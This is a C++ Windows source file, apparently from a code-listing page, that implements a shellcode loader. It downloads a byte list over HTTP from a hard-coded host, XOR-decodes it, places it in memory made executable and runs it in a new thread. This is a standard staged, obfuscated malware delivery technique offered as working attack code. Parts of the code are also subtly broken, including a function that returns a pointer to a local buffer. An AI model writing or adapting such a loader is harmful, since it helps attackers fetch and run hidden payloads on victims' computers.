1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214
| #include <string> #include <windows.h> #include <winhttp.h> #include<iostream> #pragma comment(lib, "winhttp.lib")
using namespace std;
char* WinGet(char* ip, int port, char* url) {
HINTERNET hSession = NULL; HINTERNET hConnect = NULL; HINTERNET hRequest = NULL;
int ipSize; wchar_t* ip_wchar; ipSize = MultiByteToWideChar(CP_ACP, 0, ip, -1, NULL, 0); ip_wchar = (wchar_t*)malloc(ipSize * sizeof(wchar_t)); MultiByteToWideChar(CP_ACP, 0, ip, -1, ip_wchar, ipSize);
int urlSize; wchar_t* url_wchar; urlSize = MultiByteToWideChar(CP_ACP, 0, url, -1, NULL, 0); url_wchar = (wchar_t*)malloc(urlSize * sizeof(wchar_t)); MultiByteToWideChar(CP_ACP, 0, url, -1, url_wchar, urlSize);
hSession = WinHttpOpen(L"WinHTTP Example/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (hSession == NULL) { cout << "Error:Open session failed: " << GetLastError() << endl; exit(0); }
hConnect = WinHttpConnect(hSession, ip_wchar, port, 0); if (hConnect == NULL) { cout << "Error:Connect failed: " << GetLastError() << endl; exit(0); }
hRequest = WinHttpOpenRequest(hConnect, L"GET", url_wchar, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0); if (hRequest == NULL) { cout << "Error:OpenRequest failed: " << GetLastError() << endl; exit(0); }
BOOL bResults; bResults = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
if (!bResults) { cout << "Error:SendRequest failed: " << GetLastError() << endl; exit(0); } else { bResults = WinHttpReceiveResponse(hRequest, NULL); }
LPVOID lpHeaderBuffer = NULL; DWORD dwSize = 0; LPSTR pszOutBuffer = NULL; DWORD dwDownloaded = 0; wchar_t* pwText = NULL; if (bResults) { do { dwSize = 0; if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) { cout << "Error:WinHttpQueryDataAvailable failed:" << GetLastError() << endl; break; } if (!dwSize) break;
pszOutBuffer = new char[dwSize + 1]; if (!pszOutBuffer) { cout << "Out of memory." << endl; break; } ZeroMemory(pszOutBuffer, dwSize + 1);
if (!WinHttpReadData(hRequest, pszOutBuffer, dwSize, &dwDownloaded)) { cout << "Error:WinHttpQueryDataAvailable failed:" << GetLastError() << endl; } if (!dwDownloaded) break;
} while (dwSize > 0); DWORD dwNum = MultiByteToWideChar(CP_ACP, 0, pszOutBuffer, -1, NULL, 0); pwText = new wchar_t[dwNum]; MultiByteToWideChar(CP_UTF8, 0, pszOutBuffer, -1, pwText, dwNum);
}
if (hRequest) WinHttpCloseHandle(hRequest); if (hConnect) WinHttpCloseHandle(hConnect); if (hSession) WinHttpCloseHandle(hSession);
int iSize; char* data;
iSize = WideCharToMultiByte(CP_ACP, 0, pwText, -1, NULL, 0, NULL, NULL); data = (char*)malloc(iSize * sizeof(char)); WideCharToMultiByte(CP_ACP, 0, pwText, -1, data, iSize, NULL, NULL); return data; }
char* StrToShellcode(char str[], int* length) { char buf[2048]; const char s[2] = ","; char* token; char* context; int i = 0; token = strtok_s(str, s, &context);
while (token != NULL) { buf[i] = (unsigned char)atoi(token); token = strtok_s(NULL, s, &context); i++; }
*length = i; return buf; }
int main(int argc, char* argv[]) { char* data; DWORD dwThreadId; HANDLE hThread; DWORD dwOldProtect;
const char ip[16] = "10.211.55.2"; char* ips = const_cast<char*>(ip);
const char url[11] = "calc.txt"; char* urls = const_cast<char*>(url);
data = WinGet(ips, 80, urls);
int shellcode_length; char* buf = StrToShellcode(data, &shellcode_length);
for (int i = 0; i < shellcode_length; i++) { buf[i] ^= 10; }
char* shellcode = (char*)VirtualAlloc( NULL, shellcode_length, MEM_COMMIT, PAGE_READWRITE );
CopyMemory(shellcode, buf, shellcode_length);
VirtualProtect(shellcode, shellcode_length, PAGE_EXECUTE, &dwOldProtect);
hThread = CreateThread( NULL, NULL, (LPTHREAD_START_ROUTINE)shellcode, NULL, NULL, &dwThreadId );
WaitForSingleObject(hThread, INFINITE); return 0; }
|